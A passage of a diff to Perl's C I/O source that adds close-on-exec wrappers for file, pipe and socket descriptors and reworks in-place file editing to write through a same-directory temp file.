+	    return res; \
+	} while(0)
+#if defined(HAS_FCNTL) && defined(F_SETFD) && defined(FD_CLOEXEC) && \
+			defined(F_GETFD)
+enum { CLOEXEC_EXPERIMENT, CLOEXEC_AT_OPEN, CLOEXEC_AFTER_OPEN };
+#  define DO_GENOPEN_EXPERIMENTING_CLOEXEC(TESTFD, GENOPEN_CLOEXEC, \
+			GENOPEN_NORMAL, GENSETFD_CLOEXEC) \
+	do { \
+	    static int strategy = CLOEXEC_EXPERIMENT; \
+	    switch (strategy) { \
+		case CLOEXEC_EXPERIMENT: default: { \
+		    int res = (GENOPEN_CLOEXEC), eno; \
+		    if (LIKELY(res != -1)) { \
+			int fdflags = fcntl((TESTFD), F_GETFD); \
+			if (LIKELY(fdflags != -1) && \
+				LIKELY(fdflags & FD_CLOEXEC)) { \
+			    strategy = CLOEXEC_AT_OPEN; \
+			} else { \
+			    strategy = CLOEXEC_AFTER_OPEN; \
+			    GENSETFD_CLOEXEC; \
+			} \
+		    } else if (UNLIKELY((eno = errno) == EINVAL || \
+						eno == ENOSYS)) { \
+			res = (GENOPEN_NORMAL); \
+			if (LIKELY(res != -1)) { \
+			    strategy = CLOEXEC_AFTER_OPEN; \
+			    GENSETFD_CLOEXEC; \
+			} else if (!LIKELY((eno = errno) == EINVAL || \
+						eno == ENOSYS)) { \
+			    strategy = CLOEXEC_AFTER_OPEN; \
+			} \
+		    } \
+		    return res; \
+		} \
+		case CLOEXEC_AT_OPEN: \
+		    return (GENOPEN_CLOEXEC); \
+		case CLOEXEC_AFTER_OPEN: \
+		    DO_GENOPEN_THEN_CLOEXEC(GENOPEN_NORMAL, GENSETFD_CLOEXEC); \
+	    } \
+	} while(0)
+#else
+#  define DO_GENOPEN_EXPERIMENTING_CLOEXEC(TESTFD, GENOPEN_CLOEXEC, \
+			GENOPEN_NORMAL, GENSETFD_CLOEXEC) \
+	DO_GENOPEN_THEN_CLOEXEC(GENOPEN_NORMAL, GENSETFD_CLOEXEC)
+#endif
+
+#define DO_ONEOPEN_THEN_CLOEXEC(ONEOPEN_NORMAL) \
+	do { \
+	    int fd; \
+	    DO_GENOPEN_THEN_CLOEXEC(fd = (ONEOPEN_NORMAL), \
+		setfd_cloexec(fd)); \
+	} while(0)
+#define DO_ONEOPEN_EXPERIMENTING_CLOEXEC(ONEOPEN_CLOEXEC, ONEOPEN_NORMAL) \
+	do { \
+	    int fd; \
+	    DO_GENOPEN_EXPERIMENTING_CLOEXEC(fd, fd = (ONEOPEN_CLOEXEC), \
+		fd = (ONEOPEN_NORMAL), setfd_cloexec(fd)); \
+	} while(0)
+
+#define DO_PIPESETFD_CLOEXEC(PIPEFD) \
+	do { \
+	    setfd_cloexec((PIPEFD)[0]); \
+	    setfd_cloexec((PIPEFD)[1]); \
+	} while(0)
+#define DO_PIPEOPEN_THEN_CLOEXEC(PIPEFD, PIPEOPEN_NORMAL) \
+	DO_GENOPEN_THEN_CLOEXEC(PIPEOPEN_NORMAL, DO_PIPESETFD_CLOEXEC(PIPEFD))
+#define DO_PIPEOPEN_EXPERIMENTING_CLOEXEC(PIPEFD, PIPEOPEN_CLOEXEC, \
+			PIPEOPEN_NORMAL) \
+	DO_GENOPEN_EXPERIMENTING_CLOEXEC((PIPEFD)[0], PIPEOPEN_CLOEXEC, \
+	    PIPEOPEN_NORMAL, DO_PIPESETFD_CLOEXEC(PIPEFD))
+
+int
+Perl_PerlLIO_dup_cloexec(pTHX_ int oldfd)
+{
+#if !defined(PERL_IMPLICIT_SYS) && defined(F_DUPFD_CLOEXEC)
+    /*
+     * struct IPerlLIO doesn't cover fcntl(), and there's no clear way
+     * to extend it, so for the time being this just isn't available on
+     * PERL_IMPLICIT_SYS builds.
+     */
+    DO_ONEOPEN_EXPERIMENTING_CLOEXEC(
+	fcntl(oldfd, F_DUPFD_CLOEXEC, 0),
+	PerlLIO_dup(oldfd));
+#else
+    DO_ONEOPEN_THEN_CLOEXEC(PerlLIO_dup(oldfd));
+#endif
+}
+
+int
+Perl_PerlLIO_dup2_cloexec(pTHX_ int oldfd, int newfd)
+{
+#if !defined(PERL_IMPLICIT_SYS) && defined(HAS_DUP3) && defined(O_CLOEXEC)
+    /*
+     * struct IPerlLIO doesn't cover dup3(), and there's no clear way
+     * to extend it, so for the time being this just isn't available on
+     * PERL_IMPLICIT_SYS builds.
+     */
+    DO_ONEOPEN_EXPERIMENTING_CLOEXEC(
+	dup3(oldfd, newfd, O_CLOEXEC),
+	PerlLIO_dup2(oldfd, newfd));
+#else
+    DO_ONEOPEN_THEN_CLOEXEC(PerlLIO_dup2(oldfd, newfd));
+#endif
+}
+
+int
+Perl_PerlLIO_open_cloexec(pTHX_ const char *file, int flag)
+{
+    PERL_ARGS_ASSERT_PERLLIO_OPEN_CLOEXEC;
+#if defined(O_CLOEXEC)
+    DO_ONEOPEN_EXPERIMENTING_CLOEXEC(
+	PerlLIO_open(file, flag | O_CLOEXEC),
+	PerlLIO_open(file, flag));
+#else
+    DO_ONEOPEN_THEN_CLOEXEC(PerlLIO_open(file, flag));
+#endif
+}
+
+int
+Perl_PerlLIO_open3_cloexec(pTHX_ const char *file, int flag, int perm)
+{
+    PERL_ARGS_ASSERT_PERLLIO_OPEN3_CLOEXEC;
+#if defined(O_CLOEXEC)
+    DO_ONEOPEN_EXPERIMENTING_CLOEXEC(
+	PerlLIO_open3(file, flag | O_CLOEXEC, perm),
+	PerlLIO_open3(file, flag, perm));
+#else
+    DO_ONEOPEN_THEN_CLOEXEC(PerlLIO_open3(file, flag, perm));
+#endif
+}
+
+int
+Perl_my_mkstemp_cloexec(char *templte)
+{
+    PERL_ARGS_ASSERT_MY_MKSTEMP_CLOEXEC;
+#if defined(O_CLOEXEC)
+    DO_ONEOPEN_EXPERIMENTING_CLOEXEC(
+	Perl_my_mkostemp(templte, O_CLOEXEC),
+	Perl_my_mkstemp(templte));
+#else
+    DO_ONEOPEN_THEN_CLOEXEC(Perl_my_mkstemp(templte));
+#endif
+}
+
+#ifdef HAS_PIPE
+int
+Perl_PerlProc_pipe_cloexec(pTHX_ int *pipefd)
+{
+    PERL_ARGS_ASSERT_PERLPROC_PIPE_CLOEXEC;
+    /*
+     * struct IPerlProc doesn't cover pipe2(), and there's no clear way
+     * to extend it, so for the time being this just isn't available on
+     * PERL_IMPLICIT_SYS builds.
+     */
+#  if !defined(PERL_IMPLICIT_SYS) && defined(HAS_PIPE2) && defined(O_CLOEXEC)
+    DO_PIPEOPEN_EXPERIMENTING_CLOEXEC(pipefd,
+	pipe2(pipefd, O_CLOEXEC),
+	PerlProc_pipe(pipefd));
+#  else
+    DO_PIPEOPEN_THEN_CLOEXEC(pipefd, PerlProc_pipe(pipefd));
+#  endif
+}
+#endif
+
+#ifdef HAS_SOCKET
+
+int
+Perl_PerlSock_socket_cloexec(pTHX_ int domain, int type, int protocol)
+{
+#  if defined(SOCK_CLOEXEC)
+    DO_ONEOPEN_EXPERIMENTING_CLOEXEC(
+	PerlSock_socket(domain, type | SOCK_CLOEXEC, protocol),
+	PerlSock_socket(domain, type, protocol));
+#  else
+    DO_ONEOPEN_THEN_CLOEXEC(PerlSock_socket(domain, type, protocol));
+#  endif
+}
+
+int
+Perl_PerlSock_accept_cloexec(pTHX_ int listenfd, struct sockaddr *addr,
+    Sock_size_t *addrlen)
+{
+#  if !defined(PERL_IMPLICIT_SYS) && \
+	defined(HAS_ACCEPT4) && defined(SOCK_CLOEXEC)
+    /*
+     * struct IPerlSock doesn't cover accept4(), and there's no clear
+     * way to extend it, so for the time being this just isn't available
+     * on PERL_IMPLICIT_SYS builds.
+     */
+    DO_ONEOPEN_EXPERIMENTING_CLOEXEC(
+	accept4(listenfd, addr, addrlen, SOCK_CLOEXEC),
+	PerlSock_accept(listenfd, addr, addrlen));
+#  else
+    DO_ONEOPEN_THEN_CLOEXEC(PerlSock_accept(listenfd, addr, addrlen));
+#  endif
+}
+
+#endif
+
+#if defined (HAS_SOCKETPAIR) || \
+    (defined (HAS_SOCKET) && defined(SOCK_DGRAM) && \
+	defined(AF_INET) && defined(PF_INET))
+int
+Perl_PerlSock_socketpair_cloexec(pTHX_ int domain, int type, int protocol,
+    int *pairfd)
+{
+    PERL_ARGS_ASSERT_PERLSOCK_SOCKETPAIR_CLOEXEC;
+#  ifdef SOCK_CLOEXEC
+    DO_PIPEOPEN_EXPERIMENTING_CLOEXEC(pairfd,
+	PerlSock_socketpair(domain, type | SOCK_CLOEXEC, protocol, pairfd),
+	PerlSock_socketpair(domain, type, protocol, pairfd));
+#  else
+    DO_PIPEOPEN_THEN_CLOEXEC(pairfd,
+	PerlSock_socketpair(domain, type, protocol, pairfd));
+#  endif
+}
+#endif
+
 static IO *
 S_openn_setup(pTHX_ GV *gv, char *mode, PerlIO **saveifp, PerlIO **saveofp,
               int *savefd,  char *savetype)
@@ -136,7 +402,7 @@
 	    Perl_croak(aTHX_ "panic: sysopen with multiple args, num_svs=%ld",
 		       (long) num_svs);
 	}
-        return do_open_raw(gv, oname, len, rawmode, rawperm);
+        return do_open_raw(gv, oname, len, rawmode, rawperm, NULL);
     }
     return do_open6(gv, oname, len, supplied_fp, svp, num_svs);
 }
@@ -143,7 +409,7 @@
 
 bool
 Perl_do_open_raw(pTHX_ GV *gv, const char *oname, STRLEN len,
-                 int rawmode, int rawperm)
+                 int rawmode, int rawperm, Stat_t *statbufp)
 {
     PerlIO *saveifp;
     PerlIO *saveofp;
@@ -207,7 +473,7 @@
 	fp = PerlIO_openn(aTHX_ NULL, mode, -1, rawmode, rawperm, NULL, 1, &namesv);
     }
     return openn_cleanup(gv, io, fp, mode, oname, saveifp, saveofp, savefd,
-                         savetype, writing, 0, NULL);
+                         savetype, writing, 0, NULL, statbufp);
 }
 
 bool
@@ -261,7 +527,7 @@
             STRLEN nlen = 0;
 	    /* New style explicit name, type is just mode and layer info */
 #ifdef USE_STDIO
-	    if (SvROK(*svp) && !strchr(oname,'&')) {
+	    if (SvROK(*svp) && !memchr(oname, '&', len)) {
 		if (ckWARN(WARN_IO))
 		    Perl_warner(aTHX_ packWARN(WARN_IO),
 			    "Can't open a reference");
@@ -452,7 +718,7 @@
 		    }
 		    else {
 			if (dodup)
-                            wanted_fd = PerlLIO_dup(wanted_fd);
+                            wanted_fd = PerlLIO_dup_cloexec(wanted_fd);
 			else
 			    was_fdopen = TRUE;
                         if (!(fp = PerlIO_openn(aTHX_ type,mode,wanted_fd,0,0,NULL,num_svs,svp))) {
@@ -606,7 +872,7 @@
 
   say_false:
     return openn_cleanup(gv, io, fp, mode, oname, saveifp, saveofp, savefd,
-                         savetype, writing, was_fdopen, type);
+                         savetype, writing, was_fdopen, type, NULL);
 }
 
 /* Yes, this is ugly, but it's private, and I don't see a cleaner way to
@@ -614,12 +880,15 @@
 static bool
 S_openn_cleanup(pTHX_ GV *gv, IO *io, PerlIO *fp, char *mode, const char *oname,
                 PerlIO *saveifp, PerlIO *saveofp, int savefd, char savetype,
-                int writing, bool was_fdopen, const char *type)
+                int writing, bool was_fdopen, const char *type, Stat_t *statbufp)
 {
     int fd;
+    Stat_t statbuf;
 
     PERL_ARGS_ASSERT_OPENN_CLEANUP;
 
+    Zero(&statbuf, 1, Stat_t);
+
     if (!fp) {
 	if (IoTYPE(io) == IoTYPE_RDONLY && ckWARN(WARN_NEWLINE)
 	    && should_warn_nl(oname)
@@ -626,9 +895,9 @@
 	    
 	)
         {
-            GCC_DIAG_IGNORE(-Wformat-nonliteral); /* PL_warn_nl is constant */
+            GCC_DIAG_IGNORE_STMT(-Wformat-nonliteral); /* PL_warn_nl is constant */
 	    Perl_warner(aTHX_ packWARN(WARN_NEWLINE), PL_warn_nl, "open");
-            GCC_DIAG_RESTORE;
+            GCC_DIAG_RESTORE_STMT;
         }
 	goto say_false;
     }
@@ -656,17 +925,17 @@
      * otherwise unless we "know" the type probe for socket-ness.
      */
     if (IoTYPE(io) && IoTYPE(io) != IoTYPE_PIPE && IoTYPE(io) != IoTYPE_STD && fd >= 0) {
-	if (PerlLIO_fstat(fd,&PL_statbuf) < 0) {
+	if (PerlLIO_fstat(fd,&statbuf) < 0) {
 	    /* If PerlIO claims to have fd we had better be able to fstat() it. */
 	    (void) PerlIO_close(fp);
 	    goto say_false;
 	}
 #ifndef PERL_MICRO
-	if (S_ISSOCK(PL_statbuf.st_mode))
+	if (S_ISSOCK(statbuf.st_mode))
 	    IoTYPE(io) = IoTYPE_SOCKET;	/* in case a socket was passed in to us */
 #ifdef HAS_SOCKET
 	else if (
-	    !(PL_statbuf.st_mode & S_IFMT)
+	    !(statbuf.st_mode & S_IFMT)
 	    && IoTYPE(io) != IoTYPE_WRONLY  /* Dups of STD* filehandles already have */
 	    && IoTYPE(io) != IoTYPE_RDONLY  /* type so they aren't marked as sockets */
 	) {				    /* on OS's that return 0 on fstat()ed pipe */
@@ -740,17 +1009,7 @@
 	    if (was_fdopen) {
                 /* need to close fp without closing underlying fd */
                 int ofd = PerlIO_fileno(fp);
-                int dupfd = ofd >= 0 ? PerlLIO_dup(ofd) : -1;
-#if defined(HAS_FCNTL) && defined(F_SETFD)
-		/* Assume if we have F_SETFD we have F_GETFD. */
-                /* Get a copy of all the fd flags. */
-                int fd_flags = ofd >= 0 ? fcntl(ofd, F_GETFD) : -1;
-                if (fd_flags < 0) {
-                    if (dupfd >= 0)
-                        PerlLIO_close(dupfd);
-                    goto say_false;
-                }
-#endif
+                int dupfd = ofd >= 0 ? PerlLIO_dup_cloexec(ofd) : -1;
                 if (ofd < 0 || dupfd < 0) {
                     if (dupfd >= 0)
                         PerlLIO_close(dupfd);
@@ -757,16 +1016,8 @@
                     goto say_false;
                 }
                 PerlIO_close(fp);
-                PerlLIO_dup2(dupfd, ofd);
-#if defined(HAS_FCNTL) && defined(F_SETFD)
-		/* The dup trick has lost close-on-exec on ofd,
-                 * and possibly any other flags, so restore them. */
-		if (fcntl(ofd,F_SETFD, fd_flags) < 0) {
-                    if (dupfd >= 0)
-                        PerlLIO_close(dupfd);
-                    goto say_false;
-                }
-#endif
+                PerlLIO_dup2_cloexec(dupfd, ofd);
+                setfd_inhexec_for_sysfd(ofd);
                 PerlLIO_close(dupfd);
 	    }
             else
@@ -776,18 +1027,12 @@
 	PerlIO_clearerr(fp);
 	fd = PerlIO_fileno(fp);
     }
-#if defined(HAS_FCNTL) && defined(F_SETFD) && defined(FD_CLOEXEC)
-    if (fd >= 0 && fd > PL_maxsysfd && fcntl(fd, F_SETFD, FD_CLOEXEC) < 0) {
-        PerlLIO_close(fd);
-        goto say_false;
-    }
-#endif
     IoIFP(io) = fp;
 
     IoFLAGS(io) &= ~IOf_NOLINE;
     if (writing) {
 	if (IoTYPE(io) == IoTYPE_SOCKET
-	    || (IoTYPE(io) == IoTYPE_WRONLY && fd >= 0 && S_ISCHR(PL_statbuf.st_mode)) ) {
+	    || (IoTYPE(io) == IoTYPE_WRONLY && fd >= 0 && S_ISCHR(statbuf.st_mode)) ) {
 	    char *s = mode;
 	    if (*s == IoTYPE_IMPLICIT || *s == IoTYPE_NUMERIC)
 	      s++;
@@ -800,6 +1045,9 @@
 	else
 	    IoOFP(io) = fp;
     }
+    if (statbufp)
+        *statbufp = statbuf;
+
     return TRUE;
 
   say_false:
@@ -809,6 +1057,193 @@
     return FALSE;
 }
 
+/* Open a temp file in the same directory as an original name.
+*/
+
+static bool
+S_openindirtemp(pTHX_ GV *gv, SV *orig_name, SV *temp_out_name) {
+    int fd;
+    PerlIO *fp;
+    const char *p = SvPV_nolen(orig_name);
+    const char *sep;
+
+    /* look for the last directory separator */
+    sep = strrchr(p, '/');
+
+#ifdef DOSISH
+    {
+        const char *sep2;
+        if ((sep2 = strrchr(sep ? sep : p, '\\')))
+            sep = sep2;
+    }
+#endif
+#ifdef VMS
+    if (!sep) {
+        const char *openp = strchr(p, '[');
+        if (openp)
+            sep = strchr(openp, ']');
+        else {
+            sep = strchr(p, ':');
+        }
+    }
+#endif
+    if (sep) {
+        sv_setpvn(temp_out_name, p, sep - p + 1);
+        sv_catpvs(temp_out_name, "XXXXXXXX");
+    }
+    else
+        sv_setpvs(temp_out_name, "XXXXXXXX");
+
+    {
+      int old_umask = umask(0177);
+      fd = Perl_my_mkstemp_cloexec(SvPVX(temp_out_name));
+      umask(old_umask);
+    }
+
+    if (fd < 0)
+        return FALSE;
+
+    fp = PerlIO_fdopen(fd, "w+");
+    if (!fp)
+        return FALSE;
+
+    return do_openn(gv, "+>&", 3, 0, 0, 0, fp, NULL, 0);
+}
+
+#if defined(HAS_UNLINKAT) && defined(HAS_RENAMEAT) && defined(HAS_FCHMODAT) && \
+    (defined(HAS_DIRFD) || defined(HAS_DIR_DD_FD)) && !defined(NO_USE_ATFUNCTIONS) && \
+    defined(HAS_LINKAT)
+#  define ARGV_USE_ATFUNCTIONS
+#endif
+
+/* Win32 doesn't necessarily return useful information
+ * in st_dev, st_ino.
+ */
+#ifndef DOSISH
+#  define ARGV_USE_STAT_INO
+#endif
+
+#define ARGVMG_BACKUP_NAME 0
+#define ARGVMG_TEMP_NAME 1
+#define ARGVMG_ORIG_NAME 2
+#define ARGVMG_ORIG_MODE 3
+#define ARGVMG_ORIG_PID 4
+
+/* we store the entire stat_t since the ino_t and dev_t values might
+   not fit in an IV.  I could have created a new structure and
+   transferred them across, but this seemed too much effort for very
+   little win.
+
+   We store it even when the *at() functions are available, since
+   while the C runtime might have definitions for these functions, the
+   operating system or a specific filesystem might not implement them.
+   eg. NetBSD 6 implements linkat() but only where the fds are AT_FDCWD.
+ */
+#ifdef ARGV_USE_STAT_INO
+#  define ARGVMG_ORIG_CWD_STAT 5
+#endif
+
+#ifdef ARGV_USE_ATFUNCTIONS
+#  define ARGVMG_ORIG_DIRP 6
+#endif
+
+#ifdef ENOTSUP
+#define NotSupported(e) ((e) == ENOSYS || (e) == ENOTSUP)
+#else
+#define NotSupported(e) ((e) == ENOSYS)
+#endif
+
+static int
+S_argvout_free(pTHX_ SV *io, MAGIC *mg) {
+    PERL_UNUSED_ARG(io);
+
+    /* note this can be entered once the file has been
+       successfully deleted too */
+    assert(IoTYPE(io) != IoTYPE_PIPE);
+
+    /* mg_obj can be NULL if a thread is created with the handle open, in which
+     case we leave any clean up to the parent thread */
+    if (mg->mg_obj && IoIFP(io)) {
+        SV **pid_psv;
+#ifdef ARGV_USE_ATFUNCTIONS
+        SV **dir_psv;
+        DIR *dir;
+#endif
+        PerlIO *iop = IoIFP(io);
+
+        assert(SvTYPE(mg->mg_obj) == SVt_PVAV);
+
+        pid_psv = av_fetch((AV*)mg->mg_obj, ARGVMG_ORIG_PID, FALSE);
+
+        assert(pid_psv && *pid_psv);
+
+        if (SvIV(*pid_psv) == (IV)PerlProc_getpid()) {
+            /* if we get here the file hasn't been closed explicitly by the
+               user and hadn't been closed implicitly by nextargv(), so
+               abandon the edit */
+            SV **temp_psv = av_fetch((AV*)mg->mg_obj, ARGVMG_TEMP_NAME, FALSE);
+            const char *temp_pv = SvPVX(*temp_psv);
+
+            assert(temp_psv && *temp_psv && SvPOK(*temp_psv));
+            (void)PerlIO_close(iop);
+            IoIFP(io) = IoOFP(io) = NULL;
+#ifdef ARGV_USE_ATFUNCTIONS
+            dir_psv = av_fetch((AV*)mg->mg_obj, ARGVMG_ORIG_DIRP, FALSE);
+            assert(dir_psv && *dir_psv && SvIOK(*dir_psv));
+            dir = INT2PTR(DIR *, SvIV(*dir_psv));
+            if (dir) {
+                if (unlinkat(my_dirfd(dir), temp_pv, 0) < 0 &&
+                    NotSupported(errno))
+                    (void)UNLINK(temp_pv);
+                closedir(dir);
+            }
+#else
+            (void)UNLINK(temp_pv);
+#endif
+        }
+    }
+
+    return 0;
+}
+
+static int
+S_argvout_dup(pTHX_ MAGIC *mg, CLONE_PARAMS *param) {
+    PERL_UNUSED_ARG(param);
+
+    /* ideally we could just remove the magic from the SV but we don't get the SV here */
+    SvREFCNT_dec(mg->mg_obj);
+    mg->mg_obj = NULL;
+
+    return 0;
+}
+
+/* Magic of this type has an AV containing the following:
+   0: name of the backup file (if any)
+   1: name of the temp output file
+   2: name of the original file
+   3: file mode of the original file
+   4: pid of the process we opened at, to prevent doing the renaming
+      etc in both the child and the parent after a fork
+
+If we have useful inode/device ids in stat_t we also keep:
+   5: a stat of the original current working directory
+
+If we have unlinkat(), renameat(), fchmodat(), dirfd() we also keep:
+   6: the DIR * for the current directory when we open the file, stored as an IV
+ */
+
+static const MGVTBL argvout_vtbl =
+    {
+        NULL, /* svt_get */
+        NULL, /* svt_set */
+        NULL, /* svt_len */
+        NULL, /* svt_clear */
+        S_argvout_free, /* svt_free */
+        NULL, /* svt_copy */
+        S_argvout_dup,  /* svt_dup */
+        NULL /* svt_local */
+    };
+
 PerlIO *
 Perl_nextargv(pTHX_ GV *gv, bool nomagicopen)
 {
@@ -830,21 +1265,19 @@
 				    SvREFCNT_inc_simple_NN(PL_defoutgv));
 	}
     }
-    if (PL_filemode & (S_ISUID|S_ISGID)) {
-	PerlIO_flush(IoIFP(GvIOn(PL_argvoutgv)));  /* chmod must follow last write */
-#ifdef HAS_FCHMOD
-	if (PL_lastfd != -1)
-	    (void)fchmod(PL_lastfd,PL_filemode);
-#else
-	(void)PerlLIO_chmod(PL_oldname,PL_filemode);
-#endif
+
+    {
+        IO * const io = GvIOp(PL_argvoutgv);
+        if (io && IoIFP(io) && old_out_name) {
+            do_close(PL_argvoutgv, FALSE);
+        }
     }
+
     PL_lastfd = -1;
     PL_filemode = 0;
     if (!GvAV(gv))
 	return NULL;
     while (av_tindex(GvAV(gv)) >= 0) {
-	Stat_t statbuf;
 	STRLEN oldlen;
         SV *const sv = av_shift(GvAV(gv));
 	SAVEFREESV(sv);
@@ -861,24 +1294,24 @@
             }
         }
         else {
-            {
-                IO * const io = GvIOp(PL_argvoutgv);
-                if (io && IoIFP(io) && old_out_name && !io_close(io, PL_argvoutgv, FALSE, FALSE)) {
-                    Perl_croak(aTHX_ "Failed to close in-place edit file %"
-                               SVf ": %s\n", old_out_name, Strerror(errno));
-                }
-            }
+            Stat_t statbuf;
             /* This very long block ends with return IoIFP(GvIOp(gv));
                Both this block and the block above fall through on open
                failure to the warning code, and then the while loop above tries
                the next entry. */
-            if (do_open_raw(gv, PL_oldname, oldlen, O_RDONLY, 0)) {
+            if (do_open_raw(gv, PL_oldname, oldlen, O_RDONLY, 0, &statbuf)) {
 #ifndef FLEXFILENAMES
                 int filedev;
                 int fileino;
 #endif
+#ifdef ARGV_USE_ATFUNCTIONS
+                DIR *curdir;
+#endif
                 Uid_t fileuid;
                 Gid_t filegid;
+                AV *magic_av = NULL;
+                SV *temp_name_sv = NULL;
+                MAGIC *mg;
 
 		TAINT_PROPER("inplace open");
 		if (oldlen == 1 && *PL_oldname == '-') {
@@ -887,12 +1320,12 @@
 		    return IoIFP(GvIOp(gv));
 		}
 #ifndef FLEXFILENAMES
-		filedev = PL_statbuf.st_dev;
-		fileino = PL_statbuf.st_ino;
+		filedev = statbuf.st_dev;
+		fileino = statbuf.st_ino;
 #endif
-		PL_filemode = PL_statbuf.st_mode;
-		fileuid = PL_statbuf.st_uid;
-		filegid = PL_statbuf.st_gid;
+		PL_filemode = statbuf.st_mode;
+		fileuid = statbuf.st_uid;
+		filegid = statbuf.st_gid;
 		if (!S_ISREG(PL_filemode)) {
 		    Perl_ck_warner_d(aTHX_ packWARN(WARN_INPLACE),
 				     "Can't do inplace edit: %s is not a regular file",
@@ -900,6 +1333,7 @@
 		    do_close(gv,FALSE);
 		    continue;
 		}
+                magic_av = newAV();
 		if (*PL_inplace && strNE(PL_inplace, "*")) {
 		    const char *star = strchr(PL_inplace, '*');
 		    if (star) {
@@ -917,9 +1351,9 @@
 			sv_catpv(sv,PL_inplace);
 		    }
 #ifndef FLEXFILENAMES
-		    if ((PerlLIO_stat(SvPVX_const(sv),&PL_statbuf) >= 0
-			 && PL_statbuf.st_dev == filedev
-			 && PL_statbuf.st_ino == fileino)
+		    if ((PerlLIO_stat(SvPVX_const(sv),&statbuf) >= 0
+			 && statbuf.st_dev == filedev
+			 && statbuf.st_ino == fileino)
 #ifdef DJGPP
 			|| ((_djstat_fail_bits & _STFAIL_TRUENAME)!=0)
 #endif
@@ -929,71 +1363,45 @@
 					 "Can't do inplace edit: %"
                                          SVf " would not be unique",
 					 SVfARG(sv));
-			do_close(gv,FALSE);
-			continue;
+                        goto cleanup_argv;
 		    }
 #endif
-#ifdef HAS_RENAME
-#if !defined(DOSISH) && !defined(__CYGWIN__)
-		    if (PerlLIO_rename(PL_oldname,SvPVX_const(sv)) < 0) {
-			Perl_ck_warner_d(aTHX_ packWARN(WARN_INPLACE),
-					 "Can't rename %s to %" SVf
-                                         ": %s, skipping file",
-					 PL_oldname, SVfARG(sv),
-                                         Strerror(errno));
-			do_close(gv,FALSE);
-			continue;
-		    }
-#else
-		    do_close(gv,FALSE);
-		    (void)PerlLIO_unlink(SvPVX_const(sv));
-		    (void)PerlLIO_rename(PL_oldname,SvPVX_const(sv));
-		    do_open_raw(gv, SvPVX_const(sv), SvCUR(sv), O_RDONLY, 0);
-#endif /* DOSISH */
-#else
-		    (void)UNLINK(SvPVX_const(sv));
-		    if (link(PL_oldname,SvPVX_const(sv)) < 0) {
-			Perl_ck_warner_d(aTHX_ packWARN(WARN_INPLACE),
-					 "Can't rename %s to %" SVf ": %s, skipping file",
-					 PL_oldname, SVfARG(sv), Strerror(errno) );
-			do_close(gv,FALSE);
-			continue;
-		    }
-		    (void)UNLINK(PL_oldname);
-#endif
+                    av_store(magic_av, ARGVMG_BACKUP_NAME, newSVsv(sv));
 		}
-		else {
-#if !defined(DOSISH) && !defined(__amigaos4__)
-#  ifndef VMS  /* Don't delete; use automatic file versioning */
-		    if (UNLINK(PL_oldname) < 0) {
-			Perl_ck_warner_d(aTHX_ packWARN(WARN_INPLACE),
-					 "Can't remove %s: %s, skipping file",
-					 PL_oldname, Strerror(errno) );
-			do_close(gv,FALSE);
-			continue;
-		    }
-#  endif
-#else
-		    Perl_croak(aTHX_ "Can't do inplace edit without backup");
-#endif
-		}
 
 		sv_setpvn(sv,PL_oldname,oldlen);
 		SETERRNO(0,0);		/* in case sprintf set errno */
-		if (!Perl_do_open_raw(aTHX_ PL_argvoutgv, SvPVX_const(sv),
-                                      SvCUR(sv),
-#ifdef VMS
-                                      O_WRONLY|O_CREAT|O_TRUNC, 0
-#else
-                                      O_WRONLY|O_CREAT|OPEN_EXCL, 0600
+                temp_name_sv = newSV(0);
+                if (!S_openindirtemp(aTHX_ PL_argvoutgv, GvSV(gv), temp_name_sv)) {
+                    SvREFCNT_dec(temp_name_sv);
+                    /* diag_listed_as: Can't do inplace edit on %s: %s */
+                    Perl_ck_warner_d(aTHX_ packWARN(WARN_INPLACE), "Can't do inplace edit on %s: Cannot make temp name: %s",
+				     PL_oldname, Strerror(errno) );
+#ifndef FLEXFILENAMES
+                cleanup_argv:
 #endif
-                        )) {
-		    Perl_ck_warner_d(aTHX_ packWARN(WARN_INPLACE), "Can't do inplace edit on %s: %s",
-				     PL_oldname, Strerror(errno) );
-		    do_close(gv,FALSE);
-		    continue;
+                    do_close(gv,FALSE);
+                    SvREFCNT_dec(magic_av);
+                    continue;
 		}
+                av_store(magic_av, ARGVMG_TEMP_NAME, temp_name_sv);
+                av_store(magic_av, ARGVMG_ORIG_NAME, newSVsv(sv));
+                av_store(magic_av, ARGVMG_ORIG_MODE, newSVuv(PL_filemode));
+                av_store(magic_av, ARGVMG_ORIG_PID, newSViv((IV)PerlProc_getpid()));
+#if defined(ARGV_USE_ATFUNCTIONS)
+                curdir = opendir(".");
+                av_store(magic_av, ARGVMG_ORIG_DIRP, newSViv(PTR2IV(curdir)));
+#elif defined(ARGV_USE_STAT_INO)
+                if (PerlLIO_stat(".", &statbuf) >= 0) {
+                    av_store(magic_av, ARGVMG_ORIG_CWD_STAT,
+                             newSVpvn((char *)&statbuf, sizeof(statbuf)));
+                }
+#endif
 		setdefout(PL_argvoutgv);
+                sv_setsv(GvSVn(PL_argvoutgv), temp_name_sv);
+                mg = sv_magicext((SV*)GvIOp(PL_argvoutgv), (SV*)magic_av, PERL_MAGIC_uvar, &argvout_vtbl, NULL, 0);
+                mg->mg_flags |= MGf_DUP;
+                SvREFCNT_dec(magic_av);
 		PL_lastfd = PerlIO_fileno(IoIFP(GvIOp(PL_argvoutgv)));
                 if (PL_lastfd >= 0) {
                     (void)PerlLIO_fstat(PL_lastfd,&statbuf);
@@ -1006,11 +1414,9 @@
                         /* XXX silently ignore failures */
 #ifdef HAS_FCHOWN
                         PERL_UNUSED_RESULT(fchown(PL_lastfd,fileuid,filegid));
-#else
-#ifdef HAS_CHOWN
+#elif defined(HAS_CHOWN)
                         PERL_UNUSED_RESULT(PerlLIO_chown(PL_oldname,fileuid,filegid));
 #endif
-#endif
                     }
 		}
                 return IoIFP(GvIOp(gv));
@@ -1019,6 +1425,7 @@
 
         if (ckWARN_d(WARN_INPLACE)) {
             const int eno = errno;
+            Stat_t statbuf;
             if (PerlLIO_stat(PL_oldname, &statbuf) >= 0
                 && !S_ISREG(statbuf.st_mode)) {
                 Perl_warner(aTHX_ packWARN(WARN_INPLACE),
@@ -1034,17 +1441,6 @@
     if (io && (IoFLAGS(io) & IOf_ARGV))
 	IoFLAGS(io) |= IOf_START;
     if (PL_inplace) {
-        if (old_out_name) {
-            IO * const io = GvIOp(PL_argvoutgv);
-            if (io && IoIFP(io) && !io_close(io, PL_argvoutgv, FALSE, FALSE)) {
-                Perl_croak(aTHX_ "Failed to close in-place edit file %" SVf ": %s\n",
-                           old_out_name, Strerror(errno));
-            }
-        }
-        else {
-            /* maybe this is no longer wanted */
-            (void)do_close(PL_argvoutgv,FALSE);
